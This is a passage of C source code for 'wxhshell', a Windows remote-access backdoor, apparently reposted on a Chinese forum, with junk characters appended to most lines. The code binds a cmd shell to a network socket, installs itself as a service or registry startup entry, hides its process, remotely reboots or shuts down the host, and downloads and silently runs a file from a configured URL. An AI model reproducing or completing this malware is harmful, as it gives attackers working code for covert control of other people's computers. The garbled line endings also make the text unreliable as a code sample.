  case '?': { f\.y z[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cx&\oP  
    break; n4}e!  
  } twbxi{8e.  
  // 安装 8ZM#.yB B  
  case 'i': { GU/-L<g  
    if(Install()) SBDGms  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FH$q,BI!R  
    else _G'A]O/BZD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x#zj0vI-8  
    break; A,=> |&*  
    } 1\Pjz Lj  
  // 卸载 u^CL }t*  
  case 'r': { ~kSO YvK$'  
    if(Uninstall()) t*A[v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UX<-jY#'V  
    else NJ-Ji> w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J2! Q09 }5  
    break; iXL^[/}&?M  
    } U?5lqq  
  // 显示 wxhshell 所在路径 bX(/2_l  
  case 'p': { BGwD{6`U  
    char svExeFile[MAX_PATH]; l"DHG`kb  
    strcpy(svExeFile,"\n\r"); ,R3TFVV!?  
      strcat(svExeFile,ExeFile); m.! M#x2!  
        send(wsh,svExeFile,strlen(svExeFile),0); Di4GaKa/  
    break; >w,jaQ  
    } M+HhTW;I=  
  // 重启 =l${p*ABQ  
  case 'b': { yG7H>LF?8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^~7Mv^A  
    if(Boot(REBOOT)) :l1-s]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dC-~=}HR^  
    else { KRcB_(  
    closesocket(wsh); sK&kp=zu  
    ExitThread(0); @ F $}/  
    } {2D|,yH=  
    break; X#ud5h  
    } v>Kh5H5e~  
  // 关机 g;6/P2w  
  case 'd': { B, H9EX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D_~;!^  
    if(Boot(SHUTDOWN)) ]vn*eqd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SE6( 3f$  
    else { 1TR+p? "  
    closesocket(wsh); | B*B>P#  
    ExitThread(0); Bmcc SC;o4  
    } : xggo  
    break; "e8EA!Ipte  
    } : D-D+x  
  // 获取shell #W3H;'~/5  
  case 's': { _od /)#  
    CmdShell(wsh); 6DK).|@$r  
    closesocket(wsh); b7~Jl+m  
    ExitThread(0); 5$HG#2"Kb#  
    break; Jvsy 6R  
  } bu_@A^ys  
  // 退出 d,(q 3  
  case 'x': { |uw48*t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Fw{@RQf8  
    CloseIt(wsh); .35~+aqC  
    break; xE^G*<mj:  
    } vcp{Gf|^  
  // 离开 *i:8g(  
  case 'q': { ytjZ7J['{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [MwL=9;!H  
    closesocket(wsh); R LF6Bc  
    WSACleanup(); t&=bW<6  
    exit(1); rr1'| k "  
    break; .KC V|x;QW  
        } ^L)3O|6c  
  } 9lR6:}L7  
  } &|ne!wu  
V:J|shRo  
  // 提示信息 ex1!7A!}g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z~3ubta8(@  
} Ax;?~v4Z  
  } 4dCXBTT  
N0kCdJv  
  return; )j~{P  
} f'(F'TE  
3'`&D/n  
// shell模块句柄 Y$n+\K  
int CmdShell(SOCKET sock) r,0D I  
{ %aK[Yvo6  
STARTUPINFO si; Xy 4k;+  
ZeroMemory(&si,sizeof(si)); )V[j~uOU)]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )$9w Kk\F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .d^8?vo  
PROCESS_INFORMATION ProcessInfo; 7qOkv1.}0  
char cmdline[]="cmd"; _B erHoQd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gWa0x-  
  return 0; j y5[K.  
} % H"  
5CN=a2&  
// 自身启动模式 JmK )Y# A  
int StartFromService(void) 2#lpIj  
{ g_P98_2f.k  
typedef struct y'odn ;  
{ mhhc}dS(H  
  DWORD ExitStatus; N~ CQh=<  
  DWORD PebBaseAddress; |^UQVNJ  
  DWORD AffinityMask; )^s> 21  
  DWORD BasePriority; ;7?oJH;  
  ULONG UniqueProcessId; H,w8+vZ4\  
  ULONG InheritedFromUniqueProcessId; z[QDJMt>  
}   PROCESS_BASIC_INFORMATION; &ZC{ _t  
1R~$m  
PROCNTQSIP NtQueryInformationProcess; 6O6B8  
\:1$E[3v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U!o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f&^}yqmuE  
3MHpP5C  
  HANDLE             hProcess; p19(>|$J  
  PROCESS_BASIC_INFORMATION pbi; .$x}~Sw  
9v*y&V9/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JluA?B7E  
  if(NULL == hInst ) return 0; Tr:@Dv.O  
oYf+I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); juWXB+d2Y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pqpsa'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?#:']q  
*f;$5B#^  
  if (!NtQueryInformationProcess) return 0; dO1 m  
u;rmqo1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RS}_cm0  
  if(!hProcess) return 0; l{C]0^6>i  
XfVdYmii  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; UMd.=HC L  
fcF|m5  
  CloseHandle(hProcess); C za }cF  
k`N*_/(|n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ">1wPq&  
if(hProcess==NULL) return 0; Oi:Hs  
8YRT0/V  
HMODULE hMod; WR#h~N 9c  
char procName[255]; 1<#D3CXK  
unsigned long cbNeeded;  gvo98Id  
NR_3nt^h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2D"my]FnF  
`V V >AA5  
  CloseHandle(hProcess); iz/CC V L  
|&Mo Qxw@  
if(strstr(procName,"services")) return 1; // 以服务启动 +,)k@OI  
ll$mRC  
  return 0; // 注册表启动 uuFQTx))  
} WeH_1$n5  
<>n|_6'$90  
// 主模块 7i xG{yu  
int StartWxhshell(LPSTR lpCmdLine) kDm uj>D  
{ vqf}(/.D  
  SOCKET wsl; $+4 4US  
BOOL val=TRUE; [3-u7Fx!  
  int port=0; .Er+*j;&w  
  struct sockaddr_in door; 1/:vFX  
DKMkCPX%  
  if(wscfg.ws_autoins) Install(); P8dMfD*"E  
s,[ I_IiPf  
port=atoi(lpCmdLine); -nC&t~sD  
e> 9X  
if(port<=0) port=wscfg.ws_port; 7lwI]/ZH*  
ti9e(Jt!O  
  WSADATA data; bIBF2m4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |-\anby<  
DPW^OgL;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Lc}hjK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,D`jlY-1l  
  door.sin_family = AF_INET; [T7&)p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M61Nl)|mx&  
  door.sin_port = htons(port); &glh >9:G  
Pz2Q]}(w  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~gZ1*8 s`  
closesocket(wsl); [olSgq!3  
return 1; CXoiA"P  
} WQVU 82b*  
cyWb*Wv  
  if(listen(wsl,2) == INVALID_SOCKET) { ~x'8T!M{  
closesocket(wsl); b&h'>(  
return 1; ]=-=D9ZS3  
} @(6i 1Iwu9  
  Wxhshell(wsl);  8(K:2  
  WSACleanup(); ,R-k]^O  
xu-bn  
return 0; RE4#a 2  
MhE".ZRd  
} 7oIHp_Zq  
"u~` ZV(  
// 以NT服务方式启动 H*<E5^#dw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {*hFG:u  
{ 7)#JrpTj%  
DWORD   status = 0; #| g h  
  DWORD   specificError = 0xfffffff; _8 K|2$X  
lj&\F|-i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ol_\ "  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !WlL RkwO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PuZzl%i P3  
  serviceStatus.dwWin32ExitCode     = 0; b+whZtNk7  
  serviceStatus.dwServiceSpecificExitCode = 0; Z7y%  
  serviceStatus.dwCheckPoint       = 0; ,Q Ge=Exn  
  serviceStatus.dwWaitHint       = 0; Kg<~Uf=1  
R7z @y o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N6_1iIM  
  if (hServiceStatusHandle==0) return; SFuSM/Pf  
Ei]Sks V>*  
status = GetLastError(); bg0ix"  
  if (status!=NO_ERROR) Q-R?y+| x  
{ Oz(=%oS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m!<FlEkN  
    serviceStatus.dwCheckPoint       = 0; tuwlsBV  
    serviceStatus.dwWaitHint       = 0; `:r-&QdU o  
    serviceStatus.dwWin32ExitCode     = status; &DYC3*)Jih  
    serviceStatus.dwServiceSpecificExitCode = specificError; '*`n"cC:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .,S`VNU  
    return; k-^^Ao*@  
  } 16I[z+RG  
9&^5!R8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yCkc3s|DA;  
  serviceStatus.dwCheckPoint       = 0; -9+$z|K  
  serviceStatus.dwWaitHint       = 0; a $'U?%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a[zVC)N0  
} 525^/d6v  
N|)e {|k  
// 处理NT服务事件,比如:启动、停止 N&k\X]U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z)(#D($-  
{ jYAm}_?No  
switch(fdwControl) ZWuNl!l>  
{ B!)9 >  
case SERVICE_CONTROL_STOP: Snmv  
  serviceStatus.dwWin32ExitCode = 0; 3My}u>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j<Pw0?~s6  
  serviceStatus.dwCheckPoint   = 0; yNwSiZE X  
  serviceStatus.dwWaitHint     = 0; UjJ&P)  
  { p_n$}z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L)7{_s  
  } ~qL/P 5*+  
  return; ~n0Exw(  
case SERVICE_CONTROL_PAUSE: ^zqQ8{oV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Kt]vTn7!9  
  break; Z{#3-O<a+n  
case SERVICE_CONTROL_CONTINUE: [\Aws^fD_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M!gu`@@}F  
  break; CUC]-]8  
case SERVICE_CONTROL_INTERROGATE: #] Do_Z  
  break; jc>B^mqx  
}; Jk|DWZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o(v7&m;  
} 4UW)XLu6T7  
6=Q6J  
// 标准应用程序主函数 !]mo.zDSW5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q9p2.!/C1  
{ kMEXgzl  
3ErV" R4"$  
// 获取操作系统版本 5?(dI9A"K  
OsIsNt=GetOsVer(); <H<Aba9\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); WyQ8}]1b  
,_7m<(/f  
  // 从命令行安装 !](Mt?e  
  if(strpbrk(lpCmdLine,"iI")) Install(); gLo&~|=L-  
n@C#,v#^0  
  // 下载执行文件 ?6N\AM '  
if(wscfg.ws_downexe) { 7uv"#mq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Pq-@waH3  
  WinExec(wscfg.ws_filenam,SW_HIDE); p ~+sk1[.  
} l% %cU"  
7:$dl #  
if(!OsIsNt) { 4RQ38%> >j  
// 如果时win9x,隐藏进程并且设置为注册表启动 3|3ad'  
HideProc(); }VH2G94Ll  
StartWxhshell(lpCmdLine); w+\RSqz/  
} R[vX+d!7  
else T I ZkN6  
  if(StartFromService()) `-W4/7  
  // 以服务方式启动 V0#E7u`4  
  StartServiceCtrlDispatcher(DispatchTable); 'rfs rZ?  
else BTA2['  
  // 普通方式启动 <X1[j9Qtv0  
  StartWxhshell(lpCmdLine); Tn3C0  
3XbFg%8YG  
return 0; #:MoZw`rlw  
}
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只看该作者 1 发表于: 2006-10-10
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